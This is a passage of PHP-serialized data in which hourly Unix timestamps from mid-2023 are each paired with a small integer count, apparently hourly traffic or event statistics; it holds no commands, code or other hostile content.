;a:1:{i:0;i:6;}i:1685829600;a:1:{i:0;i:9;}i:1685833200;a:1:{i:0;i:4;}i:1685836800;a:1:{i:0;i:9;}i:1685840400;a:1:{i:0;i:2;}i:1685844000;a:1:{i:0;i:5;}i:1685847600;a:1:{i:0;i:4;}i:1685851200;a:1:{i:0;i:4;}i:1685854800;a:1:{i:0;i:7;}i:1685858400;a:1:{i:0;i:8;}i:1685862000;a:1:{i:0;i:15;}i:1685865600;a:1:{i:0;i:6;}i:1685869200;a:1:{i:0;i:6;}i:1685872800;a:1:{i:0;i:20;}i:1685876400;a:1:{i:0;i:8;}i:1685883600;a:1:{i:0;i:18;}i:1685887200;a:1:{i:0;i:3;}i:1685890800;a:1:{i:0;i:6;}i:1685894400;a:1:{i:0;i:17;}i:1685898000;a:1:{i:0;i:4;}i:1685901600;a:1:{i:0;i:12;}i:1685905200;a:1:{i:0;i:3;}i:1685908800;a:1:{i:0;i:14;}i:1685912400;a:1:{i:0;i:4;}i:1685916000;a:1:{i:0;i:4;}i:1685919600;a:1:{i:0;i:14;}i:1685923200;a:1:{i:0;i:1;}i:1685926800;a:1:{i:0;i:2;}i:1685930400;a:1:{i:0;i:3;}i:1685934000;a:1:{i:0;i:2;}i:1685937600;a:1:{i:0;i:4;}i:1685941200;a:1:{i:0;i:3;}i:1685944800;a:1:{i:0;i:12;}i:1685948400;a:1:{i:0;i:11;}i:1685952000;a:1:{i:0;i:11;}i:1685955600;a:1:{i:0;i:11;}i:1685959200;a:1:{i:0;i:10;}i:1685962800;a:1:{i:0;i:6;}i:1685966400;a:1:{i:0;i:9;}i:1685970000;a:1:{i:0;i:14;}i:1685973600;a:1:{i:0;i:5;}i:1685977200;a:1:{i:0;i:3;}i:1685980800;a:1:{i:0;i:6;}i:1685984400;a:1:{i:0;i:3;}i:1685988000;a:1:{i:0;i:4;}i:1685991600;a:1:{i:0;i:15;}i:1685995200;a:1:{i:0;i:1;}i:1685998800;a:1:{i:0;i:15;}i:1686002400;a:1:{i:0;i:4;}i:1686006000;a:1:{i:0;i:18;}i:1686009600;a:1:{i:0;i:1;}i:1686013200;a:1:{i:0;i:3;}i:1686016800;a:1:{i:0;i:4;}i:1686020400;a:1:{i:0;i:15;}i:1686024000;a:1:{i:0;i:8;}i:1686027600;a:1:{i:0;i:3;}i:1686031200;a:1:{i:0;i:23;}i:1686034800;a:1:{i:0;i:10;}i:1686038400;a:1:{i:0;i:18;}i:1686042000;a:1:{i:0;i:14;}i:1686045600;a:1:{i:0;i:2;}i:1686049200;a:1:{i:0;i:5;}i:1686052800;a:1:{i:0;i:16;}i:1686056400;a:1:{i:0;i:8;}i:1686060000;a:1:{i:0;i:15;}i:1686063600;a:1:{i:0;i:4;}i:1686067200;a:1:{i:0;i:14;}i:1686070800;a:1:{i:0;i:2;}i:1686078000;a:1:{i:0;i:7;}i:1686081600;a:1:{i:0;i:23;}i:1686085200;a:1:{i:0;i:6;}i:1686088800;a:1:{i:0;i:22;}i:1686092400;a:1:{i:0;i:7;}i:1686096000;a:1:{i:0;i:7;}i:1686099600;a:1:{i:0;i:23;}i:1686103200;a:1:{i:0;i:6;}i:1686106800;a:1:{i:0;i:10;}i:1686110400;a:1:{i:0;i:11;}i:1686114000;a:1:{i:0;i:16;}i:1686117600;a:1:{i:0;i:15;}i:1686121200;a:1:{i:0;i:29;}i:1686124800;a:1:{i:0;i:11;}i:1686128400;a:1:{i:0;i:24;}i:1686132000;a:1:{i:0;i:12;}i:1686135600;a:1:{i:0;i:9;}i:1686139200;a:1:{i:0;i:16;}i:1686142800;a:1:{i:0;i:6;}i:1686146400;a:1:{i:0;i:10;}i:1686150000;a:1:{i:0;i:2;}i:1686153600;a:1:{i:0;i:17;}i:1686157200;a:1:{i:0;i:7;}i:1686160800;a:1:{i:0;i:6;}i:1686164400;a:1:{i:0;i:14;}i:1686168000;a:1:{i:0;i:5;}i:1686171600;a:1:{i:0;i:16;}i:1686175200;a:1:{i:0;i:5;}i:1686178800;a:1:{i:0;i:2;}i:1686182400;a:1:{i:0;i:12;}i:1686186000;a:1:{i:0;i:3;}i:1686189600;a:1:{i:0;i:14;}i:1686193200;a:1:{i:0;i:7;}i:1686196800;a:1:{i:0;i:2;}i:1686200400;a:1:{i:0;i:12;}i:1686204000;a:1:{i:0;i:11;}i:1686207600;a:1:{i:0;i:14;}i:1686211200;a:1:{i:0;i:25;}i:1686214800;a:1:{i:0;i:17;}i:1686218400;a:1:{i:0;i:29;}i:1686222000;a:1:{i:0;i:21;}i:1686225600;a:1:{i:0;i:18;}i:1686229200;a:1:{i:0;i:19;}i:1686232800;a:1:{i:0;i:11;}i:1686236400;a:1:{i:0;i:12;}i:1686240000;a:1:{i:0;i:2;}i:1686243600;a:1:{i:0;i:10;}i:1686247200;a:1:{i:0;i:2;}i:1686250800;a:1:{i:0;i:11;}i:1686254400;a:1:{i:0;i:3;}i:1686258000;a:1:{i:0;i:11;}i:1686261600;a:1:{i:0;i:2;}i:1686265200;a:1:{i:0;i:3;}i:1686268800;a:1:{i:0;i:12;}i:1686272400;a:1:{i:0;i:14;}i:1686276000;a:1:{i:0;i:3;}i:1686279600;a:1:{i:0;i:2;}i:1686283200;a:1:{i:0;i:14;}i:1686286800;a:1:{i:0;i:4;}i:1686290400;a:1:{i:0;i:12;}i:1686294000;a:1:{i:0;i:2;}i:1686297600;a:1:{i:0;i:1;}i:1686301200;a:1:{i:0;i:16;}i:1686304800;a:1:{i:0;i:5;}i:1686312000;a:1:{i:0;i:14;}i:1686315600;a:1:{i:0;i:3;}i:1686319200;a:1:{i:0;i:4;}i:1686322800;a:1:{i:0;i:17;}i:1686326400;a:1:{i:0;i:3;}i:1686330000;a:1:{i:0;i:4;}i:1686333600;a:1:{i:0;i:17;}i:1686337200;a:1:{i:0;i:2;}i:1686340800;a:1:{i:0;i:2;}i:1686344400;a:1:{i:0;i:13;}i:1686348000;a:1:{i:0;i:3;}i:1686351600;a:1:{i:0;i:2;}i:1686355200;a:1:{i:0;i:17;}i:1686366000;a:1:{i:0;i:8;}i:1686376800;a:1:{i:0;i:7;}i:1686380400;a:1:{i:0;i:3;}i:1686387600;a:1:{i:0;i:10;}i:1686402000;a:1:{i:0;i:11;}i:1686409200;a:1:{i:0;i:3;}i:1686416400;a:1:{i:0;i:13;}i:1686427200;a:1:{i:0;i:10;}i:1686430800;a:1:{i:0;i:2;}i:1686441600;a:1:{i:0;i:14;}i:1686445200;a:1:{i:0;i:2;}i:1686448800;a:1:{i:0;i:1;}i:1686452400;a:1:{i:0;i:3;}i:1686456000;a:1:{i:0;i:18;}i:1686459600;a:1:{i:0;i:7;}i:1686463200;a:1:{i:0;i:4;}i:1686466800;a:1:{i:0;i:3;}i:1686470400;a:1:{i:0;i:15;}i:1686474000;a:1:{i:0;i:5;}i:1686477600;a:1:{i:0;i:4;}i:1686481200;a:1:{i:0;i:12;}i:1686484800;a:1:{i:0;i:3;}i:1686488400;a:1:{i:0;i:1;}i:1686492000;a:1:{i:0;i:14;}i:1686495600;a:1:{i:0;i:1;}i:1686499200;a:1:{i:0;i:11;}i:1686502800;a:1:{i:0;i:2;}i:1686510000;a:1:{i:0;i:12;}i:1686513600;a:1:{i:0;i:2;}i:1686517200;a:1:{i:0;i:2;}i:1686520800;a:1:{i:0;i:2;}i:1686524400;a:1:{i:0;i:9;}i:1686528000;a:1:{i:0;i:12;}i:1686531600;a:1:{i:0;i:1;}i:1686535200;a:1:{i:0;i:9;}i:1686538800;a:1:{i:0;i:1;}i:1686542400;a:1:{i:0;i:3;}i:1686546000;a:1:{i:0;i:14;}i:1686549600;a:1:{i:0;i:2;}i:1686553200;a:1:{i:0;i:1;}i:1686556800;a:1:{i:0;i:16;}i:1686560400;a:1:{i:0;i:4;}i:1686564000;a:1:{i:0;i:12;}i:1686567600;a:1:{i:0;i:3;}i:1686571200;a:1:{i:0;i:15;}i:1686574800;a:1:{i:0;i:2;}i:1686578400;a:1:{i:0;i:1;}i:1686582000;a:1:{i:0;i:3;}i:1686585600;a:1:{i:0;i:14;}i:1686589200;a:1:{i:0;i:1;}i:1686592800;a:1:{i:0;i:17;}i:1686596400;a:1:{i:0;i:2;}i:1686600000;a:1:{i:0;i:1;}i:1686603600;a:1:{i:0;i:10;}i:1686607200;a:1:{i:0;i:2;}i:1686614400;a:1:{i:0;i:12;}i:1686618000;a:1:{i:0;i:1;}i:1686621600;a:1:{i:0;i:9;}i:1686625200;a:1:{i:0;i:6;}i:1686628800;a:1:{i:0;i:1;}i:1686632400;a:1:{i:0;i:11;}i:1686639600;a:1:{i:0;i:3;}i:1686643200;a:1:{i:0;i:2;}i:1686646800;a:1:{i:0;i:19;}i:1686650400;a:1:{i:0;i:10;}i:1686654000;a:1:{i:0;i:12;}i:1686657600;a:1:{i:0;i:24;}i:1686661200;a:1:{i:0;i:14;}i:1686664800;a:1:{i:0;i:1;}i:1686668400;a:1:{i:0;i:10;}i:1686675600;a:1:{i:0;i:12;}i:1686679200;a:1:{i:0;i:8;}i:1686686400;a:1:{i:0;i:13;}i:1686697200;a:1:{i:0;i:2;}i:1686700800;a:1:{i:0;i:1;}i:1686704400;a:1:{i:0;i:5;}i:1686708000;a:1:{i:0;i:11;}i:1686711600;a:1:{i:0;i:6;}i:1686715200;a:1:{i:0;i:24;}i:1686718800;a:1:{i:0;i:8;}i:1686722400;a:1:{i:0;i:5;}i:1686726000;a:1:{i:0;i:14;}i:1686729600;a:1:{i:0;i:1;}i:1686733200;a:1:{i:0;i:4;}i:1686736800;a:1:{i:0;i:18;}i:1686740400;a:1:{i:0;i:16;}i:1686744000;a:1:{i:0;i:12;}i:1686747600;a:1:{i:0;i:21;}i:1686751200;a:1:{i:0;i:7;}i:1686754800;a:1:{i:0;i:12;}i:1686762000;a:1:{i:0;i:2;}i:1686765600;a:1:{i:0;i:14;}i:1686769200;a:1:{i:0;i:4;}i:1686772800;a:1:{i:0;i:2;}i:1686776400;a:1:{i:0;i:21;}i:1686783600;a:1:{i:0;i:9;}i:1686787200;a:1:{i:0;i:1;}i:1686790800;a:1:{i:0;i:2;}i:1686794400;a:1:{i:0;i:2;}i:1686798000;a:1:{i:0;i:14;}i:1686801600;a:1:{i:0;i:9;}i:1686805200;a:1:{i:0;i:4;}i:1686808800;a:1:{i:0;i:16;}i:1686812400;a:1:{i:0;i:4;}i:1686816000;a:1:{i:0;i:5;}i:1686819600;a:1:{i:0;i:12;}i:1686823200;a:1:{i:0;i:1;}i:1686826800;a:1:{i:0;i:1;}i:1686830400;a:1:{i:0;i:4;}i:1686834000;a:1:{i:0;i:14;}i:1686837600;a:1:{i:0;i:14;}i:1686841200;a:1:{i:0;i:2;}i:1686844800;a:1:{i:0;i:6;}i:1686852000;a:1:{i:0;i:12;}i:1686855600;a:1:{i:0;i:4;}i:1686859200;a:1:{i:0;i:2;}i:1686862800;a:1:{i:0;i:1;}i:1686866400;a:1:{i:0;i:15;}i:1686873600;a:1:{i:0;i:3;}i:1686877200;a:1:{i:0;i:14;}i:1686880800;a:1:{i:0;i:11;}i:1686884400;a:1:{i:0;i:15;}i:1686888000;a:1:{i:0;i:7;}i:1686891600;a:1:{i:0;i:17;}i:1686895200;a:1:{i:0;i:19;}i:1686898800;a:1:{i:0;i:29;}i:1686902400;a:1:{i:0;i:23;}i:1686906000;a:1:{i:0;i:19;}i:1686909600;a:1:{i:0;i:6;}i:1686913200;a:1:{i:0;i:8;}i:1686916800;a:1:{i:0;i:27;}i:1686920400;a:1:{i:0;i:24;}i:1686924000;a:1:{i:0;i:20;}i:1686927600;a:1:{i:0;i:11;}i:1686931200;a:1:{i:0;i:4;}i:1686934800;a:1:{i:0;i:2;}i:1686938400;a:1:{i:0;i:3;}i:1686942000;a:1:{i:0;i:3;}i:1686945600;a:1:{i:0;i:3;}i:1686949200;a:1:{i:0;i:4;}i:1686952800;a:1:{i:0;i:3;}i:1686956400;a:1:{i:0;i:8;}i:1686960000;a:1:{i:0;i:5;}i:1686963600;a:1:{i:0;i:5;}i:1686967200;a:1:{i:0;i:2;}i:1686970800;a:1:{i:0;i:2;}i:1686974400;a:1:{i:0;i:2;}i:1686978000;a:1:{i:0;i:8;}i:1686981600;a:1:{i:0;i:4;}i:1686985200;a:1:{i:0;i:4;}i:1686988800;a:1:{i:0;i:6;}i:1686992400;a:1:{i:0;i:1;}i:1686996000;a:1:{i:0;i:5;}i:1686999600;a:1:{i:0;i:6;}i:1687003200;a:1:{i:0;i:3;}i:1687006800;a:1:{i:0;i:4;}i:1687010400;a:1:{i:0;i:4;}i:1687014000;a:1:{i:0;i:2;}i:1687017600;a:1:{i:0;i:8;}i:1687021200;a:1:{i:0;i:10;}i:1687024800;a:1:{i:0;i:10;}i:1687028400;a:1:{i:0;i:10;}i:1687032000;a:1:{i:0;i:12;}i:1687035600;a:1:{i:0;i:11;}i:1687039200;a:1:{i:0;i:9;}i:1687042800;a:1:{i:0;i:7;}i:1687046400;a:1:{i:0;i:7;}i:1687050000;a:1:{i:0;i:5;}i:1687053600;a:1:{i:0;i:5;}i:1687057200;a:1:{i:0;i:6;}i:1687060800;a:1:{i:0;i:7;}i:1687064400;a:1:{i:0;i:1;}i:1687068000;a:1:{i:0;i:2;}i:1687071600;a:1:{i:0;i:1;}i:1687075200;a:1:{i:0;i:8;}i:1687078800;a:1:{i:0;i:16;}i:1687082400;a:1:{i:0;i:13;}i:1687086000;a:1:{i:0;i:10;}i:1687089600;a:1:{i:0;i:6;}i:1687093200;a:1:{i:0;i:6;}i:1687096800;a:1:{i:0;i:6;}i:1687100400;a:1:{i:0;i:1;}i:1687104000;a:1:{i:0;i:7;}i:1687107600;a:1:{i:0;i:6;}i:1687111200;a:1:{i:0;i:3;}i:1687114800;a:1:{i:0;i:6;}i:1687118400;a:1:{i:0;i:5;}i:1687122000;a:1:{i:0;i:9;}i:1687125600;a:1:{i:0;i:4;}i:1687129200;a:1:{i:0;i:5;}i:1687132800;a:1:{i:0;i:3;}i:1687136400;a:1:{i:0;i:3;}i:1687140000;a:1:{i:0;i:3;}i:1687143600;a:1:{i:0;i:2;}i:1687147200;a:1:{i:0;i:5;}i:1687150800;a:1:{i:0;i:3;}i:1687154400;a:1:{i:0;i:8;}i:1687158000;a:1:{i:0;i:8;}i:1687161600;a:1:{i:0;i:8;}i:1687165200;a:1:{i:0;i:5;}i:1687168800;a:1:{i:0;i:4;}i:1687172400;a:1:{i:0;i:6;}i:1687176000;a:1:{i:0;i:1;}i:1687179600;a:1:{i:0;i:1;}i:1687183200;a:1:{i:0;i:5;}i:1687186800;a:1:{i:0;i:1;}i:1687194000;a:1:{i:0;i:1;}i:1687197600;a:1:{i:0;i:4;}i:1687201200;a:1:{i:0;i:2;}i:1687204800;a:1:{i:0;i:2;}i:1687208400;a:1:{i:0;i:2;}i:1687212000;a:1:{i:0;i:5;}i:1687215600;a:1:{i:0;i:5;}i:1687219200;a:1:{i:0;i:4;}i:1687222800;a:1:{i:0;i:4;}i:1687226400;a:1:{i:0;i:3;}i:1687230000;a:1:{i:0;i:6;}i:1687233600;a:1:{i:0;i:3;}i:1687237200;a:1:{i:0;i:11;}i:1687240800;a:1:{i:0;i:13;}i:1687244400;a:1:{i:0;i:12;}i:1687248000;a:1:{i:0;i:13;}i:1687251600;a:1:{i:0;i:11;}i:1687255200;a:1:{i:0;i:7;}i:1687258800;a:1:{i:0;i:8;}i:1687262400;a:1:{i:0;i:7;}i:1687266000;a:1:{i:0;i:5;}i:1687269600;a:1:{i:0;i:6;}i:1687273200;a:1:{i:0;i:5;}i:1687276800;a:1:{i:0;i:2;}i:1687280400;a:1:{i:0;i:7;}i:1687284000;a:1:{i:0;i:13;}i:1687287600;a:1:{i:0;i:15;}i:1687291200;a:1:{i:0;i:15;}i:1687294800;a:1:{i:0;i:9;}i:1687298400;a:1:{i:0;i:1;}i:1687302000;a:1:{i:0;i:2;}i:1687305600;a:1:{i:0;i:4;}i:1687309200;a:1:{i:0;i:2;}i:1687312800;a:1:{i:0;i:1;}i:1687316400;a:1:{i:0;i:2;}i:1687320000;a:1:{i:0;i:2;}i:1687323600;a:1:{i:0;i:1;}i:1687327200;a:1:{i:0;i:2;}i:1687330800;a:1:{i:0;i:1;}i:1687334400;a:1:{i:0;i:7;}i:1687338000;a:1:{i:0;i:4;}i:1687341600;a:1:{i:0;i:2;}i:1687345200;a:1:{i:0;i:5;}i:1687348800;a:1:{i:0;i:6;}i:1687352400;a:1:{i:0;i:8;}i:1687356000;a:1:{i:0;i:7;}i:1687359600;a:1:{i:0;i:3;}i:1687363200;a:1:{i:0;i:11;}i:1687366800;a:1:{i:0;i:9;}i:1687370400;a:1:{i:0;i:13;}i:1687374000;a:1:{i:0;i:17;}i:1687377600;a:1:{i:0;i:12;}i:1687381200;a:1:{i:0;i:11;}i:1687384800;a:1:{i:0;i:11;}i:1687388400;a:1:{i:0;i:7;}i:1687392000;a:1:{i:0;i:12;}i:1687395600;a:1:{i:0;i:6;}i:1687399200;a:1:{i:0;i:5;}i:1687402800;a:1:{i:0;i:6;}i:1687406400;a:1:{i:0;i:10;}i:1687410000;a:1:{i:0;i:2;}i:1687413600;a:1:{i:0;i:7;}i:1687417200;a:1:{i:0;i:10;}i:1687420800;a:1:{i:0;i:8;}i:1687424400;a:1:{i:0;i:9;}i:1687428000;a:1:{i:0;i:7;}i:1687431600;a:1:{i:0;i:6;}i:1687435200;a:1:{i:0;i:5;}i:1687438800;a:1:{i:0;i:1;}i:1687442400;a:1:{i:0;i:4;}i:1687446000;a:1:{i:0;i:4;}i:1687449600;a:1:{i:0;i:3;}i:1687453200;a:1:{i:0;i:1;}i:1687456800;a:1:{i:0;i:4;}i:1687460400;a:1:{i:0;i:2;}i:1687464000;a:1:{i:0;i:1;}i:1687467600;a:1:{i:0;i:4;}i:1687471200;a:1:{i:0;i:2;}i:1687474800;a:1:{i:0;i:3;}i:1687478400;a:1:{i:0;i:2;}i:1687482000;a:1:{i:0;i:3;}i:1687485600;a:1:{i:0;i:2;}i:1687489200;a:1:{i:0;i:5;}i:1687492800;a:1:{i:0;i:3;}i:1687496400;a:1:{i:0;i:10;}i:1687500000;a:1:{i:0;i:2;}i:1687503600;a:1:{i:0;i:4;}i:1687507200;a:1:{i:0;i:2;}i:1687510800;a:1:{i:0;i:3;}i:1687514400;a:1:{i:0;i:2;}i:1687518000;a:1:{i:0;i:4;}i:1687521600;a:1:{i:0;i:4;}i:1687525200;a:1:{i:0;i:2;}i:1687528800;a:1:{i:0;i:5;}i:1687532400;a:1:{i:0;i:3;}i:1687536000;a:1:{i:0;i:3;}i:1687539600;a:1:{i:0;i:6;}i:1687543200;a:1:{i:0;i:4;}i:1687546800;a:1:{i:0;i:2;}i:1687550400;a:1:{i:0;i:1;}i:1687554000;a:1:{i:0;i:3;}i:1687557600;a:1:{i:0;i:2;}i:1687561200;a:1:{i:0;i:2;}i:1687564800;a:1:{i:0;i:2;}i:1687568400;a:1:{i:0;i:1;}i:1687572000;a:1:{i:0;i:1;}i:1687575600;a:1:{i:0;i:3;}i:1687579200;a:1:{i:0;i:3;}i:1687586400;a:1:{i:0;i:4;}i:1687590000;a:1:{i:0;i:4;}i:1687593600;a:1:{i:0;i:6;}i:1687597200;a:1:{i:0;i:4;}i:1687600800;a:1:{i:0;i:1;}i:1687604400;a:1:{i:0;i:4;}i:1687608000;a:1:{i:0;i:1;}i:1687615200;a:1:{i:0;i:1;}i:1687618800;a:1:{i:0;i:1;}i:1687622400;a:1:{i:0;i:3;}i:1687626000;a:1:{i:0;i:1;}i:1687629600;a:1:{i:0;i:3;}i:1687636800;a:1:{i:0;i:1;}i:1687640400;a:1:{i:0;i:4;}i:1687644000;a:1:{i:0;i:2;}i:1687647600;a:1:{i:0;i:1;}i:1687651200;a:1:{i:0;i:2;}i:1687654800;a:1:{i:0;i:2;}i:1687658400;a:1:{i:0;i:4;}i:1687662000;a:1:{i:0;i:9;}i:1687665600;a:1:{i:0;i:11;}i:1687669200;a:1:{i:0;i:12;}i:1687672800;a:1:{i:0;i:14;}i:1687676400;a:1:{i:0;i:6;}i:1687680000;a:1:{i:0;i:9;}i:1687683600;a:1:{i:0;i:8;}i:1687687200;a:1:{i:0;i:5;}i:1687690800;a:1:{i:0;i:3;}i:1687694400;a:1:{i:0;i:2;}i:1687698000;a:1:{i:0;i:3;}i:1687701600;a:1:{i:0;i:2;}i:1687705200;a:1:{i:0;i:3;}i:1687708800;a:1:{i:0;i:2;}i:1687712400;a:1:{i:0;i:3;}i:1687716000;a:1:{i:0;i:2;}i:1687719600;a:1:{i:0;i:1;}i:1687723200;a:1:{i:0;i:1;}i:1687726800;a:1:{i:0;i:1;}i:1687730400;a:1:{i:0;i:2;}i:1687734000;a:1:{i:0;i:3;}i:1687737600;a:1:{i:0;i:2;}i:1687741200;a:1:{i:0;i:2;}i:1687744800;a:1:{i:0;i:1;}i:1687748400;a:1:{i:0;i:1;}i:1687752000;a:1:{i:0;i:1;}i:1687755600;a:1:{i:0;i:1;}i:1687759200;a:1:{i:0;i:6;}i:1687762800;a:1:{i:0;i:11;}i:1687766400;a:1:{i:0;i:6;}i:1687770000;a:1:{i:0;i:7;}i:1687773600;a:1:{i:0;i:7;}i:1687777200;a:1:{i:0;i:12;}i:1687780800;a:1:{i:0;i:7;}i:1687784400;a:1:{i:0;i:9;}i:1687788000;a:1:{i:0;i:8;}i:1687791600;a:1:{i:0;i:9;}i:1687795200;a:1:{i:0;i:7;}i:1687798800;a:1:{i:0;i:15;}i:1687802400;a:1:{i:0;i:9;}i:1687806000;a:1:{i:0;i:9;}i:1687809600;a:1:{i:0;i:15;}i:1687813200;a:1:{i:0;i:10;}i:1687816800;a:1:{i:0;i:5;}i:1687820400;a:1:{i:0;i:7;}i:1687824000;a:1:{i:0;i:5;}i:1687827600;a:1:{i:0;i:5;}i:1687831200;a:1:{i:0;i:8;}i:1687834800;a:1:{i:0;i:3;}i:1687838400;a:1:{i:0;i:5;}i:1687842000;a:1:{i:0;i:8;}i:1687845600;a:1:{i:0;i:8;}i:1687849200;a:1:{i:0;i:7;}i:1687852800;a:1:{i:0;i:9;}i:1687856400;a:1:{i:0;i:7;}i:1687860000;a:1:{i:0;i:9;}i:1687863600;a:1:{i:0;i:10;}i:1687867200;a:1:{i:0;i:4;}i:1687870800;a:1:{i:0;i:1;}i:1687874400;a:1:{i:0;i:4;}i:1687878000;a:1:{i:0;i:2;}i:1687881600;a:1:{i:0;i:2;}i:1687885200;a:1:{i:0;i:5;}i:1687888800;a:1:{i:0;i:3;}i:1687892400;a:1:{i:0;i:2;}i:1687896000;a:1:{i:0;i:5;}i:1687899600;a:1:{i:0;i:3;}i:1687903200;a:1:{i:0;i:2;}i:1687906800;a:1:{i:0;i:4;}i:1687910400;a:1:{i:0;i:1;}i:1687914000;a:1:{i:0;i:5;}i:1687917600;a:1:{i:0;i:5;}i:1687924800;a:1:{i:0;i:1;}i:1687928400;a:1:{i:0;i:5;}i:1687932000;a:1:{i:0;i:3;}i:1687935600;a:1:{i:0;i:13;}i:1687939200;a:1:{i:0;i:7;}i:1687942800;a:1:{i:0;i:7;}i:1687946400;a:1:{i:0;i:6;}i:1687950000;a:1:{i:0;i:4;}i:1687953600;a:1:{i:0;i:3;}i:1687957200;a:1:{i:0;i:9;}i:1687960800;a:1:{i:0;i:2;}i:1687964400;a:1:{i:0;i:2;}i:1687968000;a:1:{i:0;i:5;}i:1687971600;a:1:{i:0;i:1;}i:1687975200;a:1:{i:0;i:3;}i:1687978800;a:1:{i:0;i:7;}i:1687982400;a:1:{i:0;i:1;}i:1687989600;a:1:{i:0;i:4;}i:1687993200;a:1:{i:0;i:1;}i:1687996800;a:1:{i:0;i:2;}i:1688000400;a:1:{i:0;i:7;}i:1688004000;a:1:{i:0;i:4;}i:1688007600;a:1:{i:0;i:4;}i:1688011200;a:1:{i:0;i:9;}i:1688014800;a:1:{i:0;i:9;}i:1688018400;a:1:{i:0;i:8;}i:1688022000;a:1:{i:0;i:9;}i:1688025600;a:1:{i:0;i:8;}i:1688029200;a:1:{i:0;i:4;}i:1688032800;a:1:{i:0;i:9;}i:1688036400;a:1:{i:0;i:5;}i:1688040000;a:1:{i:0;i:3;}i:1688043600;a:1:{i:0;i:6;}i:1688047200;a:1:{i:0;i:3;}i:1688050800;a:1:{i:0;i:8;}i:1688054400;a:1:{i:0;i:2;}i:1688058000;a:1:{i:0;i:8;}i:1688061600;a:1:{i:0;i:4;}i:1688065200;a:1:{i:0;i:5;}i:1688068800;a:1:{i:0;i:1;}i:1688072400;a:1:{i:0;i:3;}i:1688076000;a:1:{i:0;i:5;}i:1688079600;a:1:{i:0;i:3;}i:1688083200;a:1:{i:0;i:6;}i:1688086800;a:1:{i:0;i:2;}i:1688090400;a:1:{i:0;i:3;}i:1688094000;a:1:{i:0;i:4;}i:1688097600;a:1:{i:0;i:7;}i:1688101200;a:1:{i:0;i:2;}i:1688104800;a:1:{i:0;i:6;}i:1688108400;a:1:{i:0;i:3;}i:1688112000;a:1:{i:0;i:7;}i:1688115600;a:1:{i:0;i:5;}i:1688119200;a:1:{i:0;i:3;}i:1688122800;a:1:{i:0;i:5;}i:1688126400;a:1:{i:0;i:2;}i:1688130000;a:1:{i:0;i:3;}i:1688133600;a:1:{i:0;i:2;}i:1688137200;a:1:{i:0;i:1;}i:1688140800;a:1:{i:0;i:3;}i:1688144400;a:1:{i:0;i:6;}i:1688148000;a:1:{i:0;i:5;}i:1688151600;a:1:{i:0;i:6;}i:1688155200;a:1:{i:0;i:1;}i:1688158800;a:1:{i:0;i:3;}i:1688162400;a:1:{i:0;i:5;}i:1688166000;a:1:{i:0;i:3;}i:1688169600;a:1:{i:0;i:4;}i:1688173200;a:1:{i:0;i:3;}i:1688176800;a:1:{i:0;i:5;}i:1688180400;a:1:{i:0;i:4;}i:1688184000;a:1:{i:0;i:6;}i:1688187600;a:1:{i:0;i:1;}i:1688191200;a:1:{i:0;i:7;}i:1688194800;a:1:{i:0;i:2;}i:1688198400;a:1:{i:0;i:5;}i:1688202000;a:1:{i:0;i:1;}i:1688205600;a:1:{i:0;i:2;}i:1688209200;a:1:{i:0;i:7;}i:1688212800;a:1:{i:0;i:3;}i:1688216400;a:1:{i:0;i:4;}i:1688220000;a:1:{i:0;i:3;}i:1688223600;a:1:{i:0;i:9;}i:1688227200;a:1:{i:0;i:2;}i:1688230800;a:1:{i:0;i:5;}i:1688234400;a:1:{i:0;i:1;}i:1688238000;a:1:{i:0;i:10;}i:1688241600;a:1:{i:0;i:4;}i:1688245200;a:1:{i:0;i:3;}i:1688248800;a:1:{i:0;i:1;}i:1688252400;a:1:{i:0;i:5;}i:1688256000;a:1:{i:0;i:8;}i:1688259600;a:1:{i:0;i:6;}i:1688263200;a:1:{i:0;i:9;}i:1688266800;a:1:{i:0;i:22;}i:1688270400;a:1:{i:0;i:21;}i:1688274000;a:1:{i:0;i:14;}i:1688277600;a:1:{i:0;i:23;}i:1688281200;a:1:{i:0;i:14;}i:1688284800;a:1:{i:0;i:16;}i:1688288400;a:1:{i:0;i:4;}i:1688292000;a:1:{i:0;i:10;}i:1688295600;a:1:{i:0;i:8;}i:1688299200;a:1:{i:0;i:3;}i:1688302800;a:1:{i:0;i:4;}i:1688306400;a:1:{i:0;i:11;}i:1688310000;a:1:{i:0;i:2;}i:1688313600;a:1:{i:0;i:5;}i:1688317200;a:1:{i:0;i:3;}i:1688320800;a:1:{i:0;i:6;}i:1688324400;a:1:{i:0;i:1;}i:1688328000;a:1:{i:0;i:4;}i:1688331600;a:1:{i:0;i:3;}i:1688335200;a:1:{i:0;i:16;}i:1688338800;a:1:{i:0;i:16;}i:1688342400;a:1:{i:0;i:5;}i:1688346000;a:1:{i:0;i:11;}i:1688349600;a:1:{i:0;i:10;}i:1688353200;a:1:{i:0;i:9;}i:1688356800;a:1:{i:0;i:5;}i:1688360400;a:1:{i:0;i:12;}i:1688364000;a:1:{i:0;i:18;}i:1688367600;a:1:{i:0;i:19;}i:1688371200;a:1:{i:0;i:7;}i:1688374800;a:1:{i:0;i:7;}i:1688378400;a:1:{i:0;i:25;}i:1688382000;a:1:{i:0;i:21;}i:1688385600;a:1:{i:0;i:18;}i:1688389200;a:1:{i:0;i:18;}i:1688392800;a:1:{i:0;i:15;}i:1688396400;a:1:{i:0;i:22;}i:1688400000;a:1:{i:0;i:12;}i:1688403600;a:1:{i:0;i:18;}i:1688407200;a:1:{i:0;i:13;}i:1688410800;a:1:{i:0;i:19;}i:1688414400;a:1:{i:0;i:32;}i:1688418000;a:1:{i:0;i:22;}i:1688421600;a:1:{i:0;i:26;}i:1688425200;a:1:{i:0;i:23;}i:1688428800;a:1:{i:0;i:9;}i:1688432400;a:1:{i:0;i:15;}i:1688436000;a:1:{i:0;i:12;}i:1688439600;a:1:{i:0;i:13;}i:1688443200;a:1:{i:0;i:11;}i:1688446800;a:1:{i:0;i:14;}i:1688450400;a:1:{i:0;i:12;}i:1688454000;a:1:{i:0;i:24;}i:1688457600;a:1:{i:0;i:18;}i:1688461200;a:1:{i:0;i:23;}i:1688464800;a:1:{i:0;i:10;}i:1688468400;a:1:{i:0;i:7;}i:1688472000;a:1:{i:0;i:20;}i:1688475600;a:1:{i:0;i:12;}i:1688479200;a:1:{i:0;i:28;}i:1688482800;a:1:{i:0;i:12;}i:1688486400;a:1:{i:0;i:27;}i:1688490000;a:1:{i:0;i:12;}i:1688493600;a:1:{i:0;i:15;}i:1688497200;a:1:{i:0;i:23;}i:1688500800;a:1:{i:0;i:14;}i:1688504400;a:1:{i:0;i:16;}i:1688508000;a:1:{i:0;i:24;}i:1688511600;a:1:{i:0;i:26;}i:1688515200;a:1:{i:0;i:14;}i:1688518800;a:1:{